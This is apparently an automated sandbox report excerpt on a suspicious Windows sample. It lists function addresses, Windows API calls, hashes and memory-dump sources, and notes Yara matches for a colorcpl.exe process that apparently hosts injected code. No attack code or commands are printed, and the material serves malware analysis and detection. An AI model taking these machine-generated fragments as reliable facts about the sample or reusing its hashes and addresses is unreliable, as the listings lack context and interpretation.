Part of subcall function 032D2EA4: LeaveCriticalSection.KERNEL32(033303A0,033303A0,00000000,032D1856,00000000,032D18B5), ref: 032D2EB9
Part of subcall function 032D2EA4: EnterCriticalSection.KERNEL32(00000038,033303A0,033303A0,00000000,032D1856,00000000,032D18B5), ref: 032D2EC2

Part of subcall function 032D6164: GetDC.USER32(00000000), ref: 032D61BA
Part of subcall function 032D6164: GetDeviceCaps.GDI32(00000000,0000000C), ref: 032D61CF
Part of subcall function 032D6164: GetDeviceCaps.GDI32(00000000,0000000E), ref: 032D61D9
Part of subcall function 032D6164: CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,032D4D27,00000000,032D4DB3), ref: 032D61FD
Part of subcall function 032D6164: ReleaseDC.USER32(00000000,00000000), ref: 032D6208

CreateCompatibleDC.GDI32(00000000), ref: 032D4D29
SelectObject.GDI32(00000000,?), ref: 032D4D42
SelectPalette.GDI32(00000000,?,000000FF), ref: 032D4D6B
RealizePalette.GDI32(00000000), ref: 032D4D77

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CriticalPaletteSection$CapsCreateDeviceEnterSelect$CompatibleHalftoneLeaveObjectRealizeRelease
String ID:
API String ID: 979337279-0
Opcode ID: 541a7faedb366d2d7d279f77699589103b85686cdf4311b556dac4f4c7626d03
Instruction ID: a8e0c1b094afa86368073c92ea560c594e39e0643a5d8fd078ea59f24f2fdeaa
Opcode Fuzzy Hash: 541a7faedb366d2d7d279f77699589103b85686cdf4311b556dac4f4c7626d03
Instruction Fuzzy Hash: 2D310878A24658EFDB04EF59C980D9DB7F5FF48720B6641A1E804AB325CB70EE80DB50

Uniqueness

Uniqueness Score: -1.00%

Function 032E3B74 Relevance: 6.1, APIs: 4, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetMenuState.USER32(?,?,?), ref: 032E3B97
GetSubMenu.USER32(?,?), ref: 032E3BA2
GetMenuItemID.USER32(?,?), ref: 032E3BBB
GetMenuStringA.USER32(?,?,?,?,?), ref: 032E3C0E

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Menu$ItemStateString
String ID:
API String ID: 306270399-0
Opcode ID: 54f3821aab6b08e110c834414f742b6a46e56fe4077df6f6e249ed6f5472aa0a
Instruction ID: 2d26909e68c0a2c56f5fce9f620d4bc0ede7b652c7a03573f92e480937eab570
Opcode Fuzzy Hash: 54f3821aab6b08e110c834414f742b6a46e56fe4077df6f6e249ed6f5472aa0a
Instruction Fuzzy Hash: B8118439720214AFC710EE2CCC85DEF77F89F492A1F54486AF909DB250D670DD8187A0

Uniqueness

Uniqueness Score: -1.00%

Function 032CD6E2 Relevance: 6.1, APIs: 4, Instructions: 70threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 032CD6EF
GetCurrentThreadId.KERNEL32 ref: 032CD6FE
EnterCriticalSection.KERNEL32(033302EC), ref: 032CD743
InterlockedExchange.KERNEL32(0331AAF0,?), ref: 032CD75F

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CurrentThread$CriticalEnterExchangeInterlockedSection
String ID:
API String ID: 2380408948-0
Opcode ID: 18b8beb9f202dfdfb5b0ea3c3c1d66dc393e892b43f6cf232f09f378b69b60e6
Instruction ID: e9f8b363a2075080c48894bac15f27020f9d440df6de176bea7f5a73e80a4076
Opcode Fuzzy Hash: 18b8beb9f202dfdfb5b0ea3c3c1d66dc393e892b43f6cf232f09f378b69b60e6
Instruction Fuzzy Hash: DA21D134A74785EFDB10EBA8DC80BADB7F8EB05700F548678E400DA651D3B598C5CB21

Uniqueness

Uniqueness Score: -1.00%

Function 03302D2C Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

EnumWindows.USER32(Function_00052CBC), ref: 03302D61
GetWindow.USER32(00000003,00000003), ref: 03302D79
GetWindowLongA.USER32(00000000,000000EC), ref: 03302D86
SetWindowPos.USER32(00000000,00000213,00000000,00000000,00000000,00000000,00000213,00000000,000000EC,00000003,00000003), ref: 03302DC5

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Window$EnumLongWindows
String ID:
API String ID: 4191631535-0
Opcode ID: 4eaef4601a1a7476d1c3c23a12568ddfa295e88cf29c78d221f366f3fe3f352c
Instruction ID: eb0b310e061443f24a59ecd18200ec933c9d237eb7ffcb560e8f602a9ed5c6f7
Opcode Fuzzy Hash: 4eaef4601a1a7476d1c3c23a12568ddfa295e88cf29c78d221f366f3fe3f352c
Instruction Fuzzy Hash: 321121356147109FD710EA2CCCD9F9677E8AB45760F190565F968DF2D2C3B09C80C791

Uniqueness

Uniqueness Score: -1.00%

Function 032EA03C Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?), ref: 032EA051
MulDiv.KERNEL32(?), ref: 032EA06E
MulDiv.KERNEL32(?), ref: 032EA08B
MulDiv.KERNEL32(?), ref: 032EA0A8

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e489b3884acf2b4faaf48379fb414c14731e3bcd665f9d5c20ec7a8234df375
Instruction ID: e8994e1a24675d1da16c20db9756f44562cd307329d59320d6e973f69570dae3
Opcode Fuzzy Hash: 0e489b3884acf2b4faaf48379fb414c14731e3bcd665f9d5c20ec7a8234df375
Instruction Fuzzy Hash: 08014B283143482BC774FD6A9D85F6B7A6DDFC1B51F48443878299F702EAA5DC80C3A4

Uniqueness

Uniqueness Score: -1.00%

Function 032E7F40 Relevance: 6.0, APIs: 4, Instructions: 37threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 032E7F4D
GetCurrentProcessId.KERNEL32(00000000,?,?,-00000010,00000000,032E7FB8,-000000F7,?,00000000,032E7B72,?,-00000010,?), ref: 032E7F56
GlobalFindAtomA.KERNEL32(00000000), ref: 032E7F6B
GetPropA.USER32(00000000,00000000), ref: 032E7F82

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Process$AtomCurrentFindGlobalPropThreadWindow
String ID:
API String ID: 2582817389-0
Opcode ID: 972ccb658ab247196085dead253b36b4e3ee5e8e0989c54c007d78302ca64f47
Instruction ID: 784031b48577c105544d2cc885ae3379a8c8cce1fdfaad416a0dab7fa4d943ab
Opcode Fuzzy Hash: 972ccb658ab247196085dead253b36b4e3ee5e8e0989c54c007d78302ca64f47
Instruction Fuzzy Hash: B0F0E5192727235BEA20FBFD5D828BF62ACDE40790B888461FC01CA018E755CCC1C1B2

Uniqueness

Uniqueness Score: -1.00%

Function 032E6FE0 Relevance: 6.0, APIs: 4, Instructions: 35threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?), ref: 032E6FED
GetCurrentProcessId.KERNEL32(?,00000000,?,032E3C51,?,032E2D0D), ref: 032E6FF6
GlobalFindAtomA.KERNEL32(00000000), ref: 032E700B
GetPropA.USER32(?,00000000), ref: 032E7022

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Process$AtomCurrentFindGlobalPropThreadWindow
String ID:
API String ID: 2582817389-0
Opcode ID: f0e344bbc04f92307ca198969832d623703823cd89f51f93640c6fdc7de57377
Instruction ID: e77b2b82fbab34af822627d8fd9f743af5e234b55baff62bc477d5bfd2d2bb14
Opcode Fuzzy Hash: f0e344bbc04f92307ca198969832d623703823cd89f51f93640c6fdc7de57377
Instruction Fuzzy Hash: 18F0375933631266CA24F6B99CC187B669C89447E178444A1FE42DF116D556CCC282B1

Uniqueness

Uniqueness Score: -1.00%

Function 03302514 Relevance: 6.0, APIs: 4, Instructions: 34threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0330252C
SetWindowsHookExA.USER32(00000003,033024D0,00000000,00000000), ref: 0330253C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 03302557
CreateThread.KERNEL32(00000000,000003E8,03302474,00000000,00000000), ref: 0330257B

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CreateThread$CurrentEventHookWindows
String ID:
API String ID: 1195359707-0
Opcode ID: da271c4956ff4aa469d690e14308d51d1eb9f265154d145e68cc2d86be64d74e
Instruction ID: c09f7bc2cab124a34963bf748188e5ae60cddbe45ca6fff5f449e05486c453d6
Opcode Fuzzy Hash: da271c4956ff4aa469d690e14308d51d1eb9f265154d145e68cc2d86be64d74e
Instruction Fuzzy Hash: 86F03A70780304AEFA64E7A09CEAB6636ACD704B15F109455F14AAE4C4C3F010C08F59

Uniqueness

Uniqueness Score: -1.00%

Function 032D7630 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 032D7639
SelectObject.GDI32(00000000,058A00B4), ref: 032D764B
GetTextMetricsA.GDI32(00000000), ref: 032D7656
ReleaseDC.USER32(00000000,00000000), ref: 032D7667

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: MetricsObjectReleaseSelectText
String ID:
API String ID: 2013942131-0
Opcode ID: 2bd7be2bd96ac37c156d23e079149301b8263c1a2b290f22f1d1d911c2d3f440
Instruction ID: e317152696c22e64e7062b846903acdbe4fe4f9f90c961197fe069376195d142
Opcode Fuzzy Hash: 2bd7be2bd96ac37c156d23e079149301b8263c1a2b290f22f1d1d911c2d3f440
Instruction Fuzzy Hash: E3E0865166277226D611F6AD5C81FEF795C8F12AE1F8C0291FD44AE3C0EA49DA8082F6

Uniqueness

Uniqueness Score: -1.00%

Function 032D2210 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

Part of subcall function 032D14F0: EnterCriticalSection.KERNEL32(?,032D152D), ref: 032D14F4

CompareStringA.KERNEL32(00000400,00000001,00000000,?,00000000,Default,00000000,032D2404,?,00000000,032D242C), ref: 032D233F
CreateFontIndirectA.GDI32(?), ref: 032D23E1

Strings

Default, xrefs: 032D2306, 032D2314, 032D2315

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CompareCreateCriticalEnterFontIndirectSectionString
String ID: Default
API String ID: 249151401-753088835
Opcode ID: 17678613aac2bfc63c9e2751619864233e5925c22495dbae9edb9808251c4e9f
Instruction ID: 27764a9e5518b55f66627d53a2127534d2b21618751b23237b4a9899bd41e11c
Opcode Fuzzy Hash: 17678613aac2bfc63c9e2751619864233e5925c22495dbae9edb9808251c4e9f
Instruction Fuzzy Hash: F8616A34A24348DFDB15DFA8C984BDDBBF9EF49300F5844A5E840AB652C3B09A85CB65

Uniqueness

Uniqueness Score: -1.00%

Function 032B1D08 Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cff4e48df611f8432e32e7190b9f924729c3185e44d56f2925c993a7594f00dc
Instruction ID: 30f682d791f67c40b7452328f2d36442e377847fdcc02b70d6506b74f17665f5
Opcode Fuzzy Hash: cff4e48df611f8432e32e7190b9f924729c3185e44d56f2925c993a7594f00dc
Instruction Fuzzy Hash: 36A1D6667307010BD718EA7C9CA43EDB3A59B847D1F2C427EE114CB395E7A8E9E58390

Uniqueness

Uniqueness Score: -1.00%

Function 032BA5EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,032BA6DA), ref: 032BA672
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,032BA6DA), ref: 032BA678

Strings

yyyy, xrefs: 032BA64D

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 736b539eebac56df5bfd908a2967199531dbcbbf7d2dc7260ecfb8d6e1aa5cf8
Instruction ID: 66608e5042a491425b4156477419fb2afe10d48a8995b0229b41a5f3f23f2c22
Opcode Fuzzy Hash: 736b539eebac56df5bfd908a2967199531dbcbbf7d2dc7260ecfb8d6e1aa5cf8
Instruction Fuzzy Hash: 7D2195B5A202189FCF14EF95C881AEEB3F8EF08780F4504A5E945EB251E7749EC0D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 032EA91C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

IntersectRect.USER32(?,?,?), ref: 032EA97C
EqualRect.USER32(?,?), ref: 032EA98C

Strings

@, xrefs: 032EA95D

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Rect$EqualIntersect
String ID: @
API String ID: 3291753422-2766056989
Opcode ID: 9c7bf5dcfd9de15934f31ca30ef02c4e26b6de3393bbfac088c86ff44963cd1a
Instruction ID: e5422db597750669ae7307c8af074160e8088bcd91d4679d5ed8fc88a7fa3a0b
Opcode Fuzzy Hash: 9c7bf5dcfd9de15934f31ca30ef02c4e26b6de3393bbfac088c86ff44963cd1a
Instruction Fuzzy Hash: 2611E3356242486BCB01DA6CC884BEEBBECAF4A214F480291EC04DF341C771DD8587D0

Uniqueness

Uniqueness Score: -1.00%

Function 032DAF50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 032DAF9E
GetSystemMetrics.USER32(00000001), ref: 032DAFB0

Part of subcall function 032DACBC: GetProcAddress.KERNEL32(76910000,00000000), ref: 032DAD3B

Strings

MonitorFromPoint, xrefs: 032DAF62

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: MetricsSystem$AddressProc
String ID: MonitorFromPoint
API String ID: 1792783759-1072306578
Opcode ID: 0a9d5f7d100a49dce31375c2e70441f82b65cfb56a446c7fe231251942c2363d
Instruction ID: 499b3e18f2c0642c86e9380347a03a7758501eee7ca175c891109d9f661a7835
Opcode Fuzzy Hash: 0a9d5f7d100a49dce31375c2e70441f82b65cfb56a446c7fe231251942c2363d
Instruction Fuzzy Hash: 4501AEB6618209AFEB04DF55D8C4F99B769EF44355F048055F916CF244C3729CC2CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 032DAE28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 032DAE79
GetSystemMetrics.USER32(00000001), ref: 032DAE85

Part of subcall function 032DACBC: GetProcAddress.KERNEL32(76910000,00000000), ref: 032DAD3B

Strings

MonitorFromRect, xrefs: 032DAE3D

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: MetricsSystem$AddressProc
String ID: MonitorFromRect
API String ID: 1792783759-4033241945
Opcode ID: 39aa367652fa2c4e50c57a2f393cbc6130d2afed67f06fc3ea23787a81488c87
Instruction ID: 8f86f61db5f0e8e136e2971a7fb47fac92f5330a1f4c292e3f0f069b2f087ad7
Opcode Fuzzy Hash: 39aa367652fa2c4e50c57a2f393cbc6130d2afed67f06fc3ea23787a81488c87
Instruction Fuzzy Hash: 76014F71E142149FE724DB15D484F5ABB5AEB45351F088065E909CE205C37098C4CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 032DADA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(?), ref: 032DAE02

Part of subcall function 032DACBC: GetProcAddress.KERNEL32(76910000,00000000), ref: 032DAD3B

GetSystemMetrics.USER32(?), ref: 032DADC8

Strings

GetSystemMetrics, xrefs: 032DADB0

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: MetricsSystem$AddressProc
String ID: GetSystemMetrics
API String ID: 1792783759-96882338
Opcode ID: 62358e1153076cf83402ad8e84ed5fed0d1585e6eba20755a8b2925f2fc58786
Instruction ID: a6e7703fb2b1f50c02e2c159025f138d9dea5ef04561db3f83a7a1c2f391dccd
Opcode Fuzzy Hash: 62358e1153076cf83402ad8e84ed5fed0d1585e6eba20755a8b2925f2fc58786
Instruction Fuzzy Hash: 4AF05970A383800FD724EA3CD8C4E73391EDB85332F148B60E1274A1DCC2B488C0C658

Uniqueness

Uniqueness Score: -1.00%

Function 032E3200 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000010), ref: 032E321B
GetKeyState.USER32(00000011), ref: 032E322C

Strings

, xrefs: 032E323B

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-3916222277
Opcode ID: 669905e1ecc03226cb31e3ba03f71be1a871f94f283114bc7ed63f0bda2a2c5f
Instruction ID: 5cbd7fe39f79f80ff4cb6d7faa78e4eecaeb7d0fae4e6c441708a0e5a9f46204
Opcode Fuzzy Hash: 669905e1ecc03226cb31e3ba03f71be1a871f94f283114bc7ed63f0bda2a2c5f
Instruction Fuzzy Hash: 08E0922E71078612FA12F56C2C017E757954F827B6F4C0AA6FFE42B0C1E6C70D9191A1

Uniqueness

Uniqueness Score: -1.00%

Function 03308C40 Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004,?,00000004,?,00000008), ref: 03308C74
IsBadWritePtr.KERNEL32(?,00000004,?,00000004,?,00000004,?,00000008), ref: 03308CA4
IsBadReadPtr.KERNEL32(?,00000008), ref: 03308CC3
IsBadReadPtr.KERNEL32(?,00000004,?,00000008), ref: 03308CCF

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: 4edb68b7e19e9935cf9c109d26bd83859e5e216203624d26d438e705ded6ee2b
Instruction ID: e64aa52b6ea9552edf4712495ed505da94e8d64d46086dd740df5ef387f8e397
Opcode Fuzzy Hash: 4edb68b7e19e9935cf9c109d26bd83859e5e216203624d26d438e705ded6ee2b
Instruction Fuzzy Hash: 5521AFB5A417199BDF10CF18CDC0BAEB3B8EF40360F044151ED14AB384DB74E8518AA4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: colorcpl.exePID: 5112, Parent PID: 2268COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	4.2%
Signature Coverage:	1.4%
Total number of Nodes:	357
Total number of Limit Nodes:	51

Executed Functions

Function 068CA44A Relevance: 1.6, APIs: 1, Instructions: 51
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(068C4D40,?,?,068C4D40,068B9CE3,FFFFFFFF), ref: 068CA475

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 898637ef7c7260304275813e627a98256f723e5e551bdf8928c2c01671a4a615
Instruction ID: 62c14862fd30614fcbc41cb59fee5c7e2af92eb542a52f1f794d7b01ae7fa2a3
Opcode Fuzzy Hash: 898637ef7c7260304275813e627a98256f723e5e551bdf8928c2c01671a4a615
Instruction Fuzzy Hash: 4C0171B6210208ABDB14DF98DC84EEB77ADEF88754F104559FA5C97201C534E914C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 068CA3CB Relevance: 1.5, APIs: 1, Instructions: 46
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(068C4D62,5EB65239,FFFFFFFF,068C4A21,?,?,068C4D62,?,068C4A21,FFFFFFFF,5EB65239,068C4D62,?,00000000), ref: 068CA415

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 60b9bf0d8b25dd819aabfe3d7b5e2df0584732c14aaf24a02217d2e8f2f51bc0
Instruction ID: 660776de92d15987375739f4e581f77e5095d4050c3da2b4199ec0ad50ac465a
Opcode Fuzzy Hash: 60b9bf0d8b25dd819aabfe3d7b5e2df0584732c14aaf24a02217d2e8f2f51bc0
Instruction Fuzzy Hash: 5801E4B6200108AFCB18DF98DC84DEB77A9EF8C364F168249FA5DD7251D630E9118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 068CA320 Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

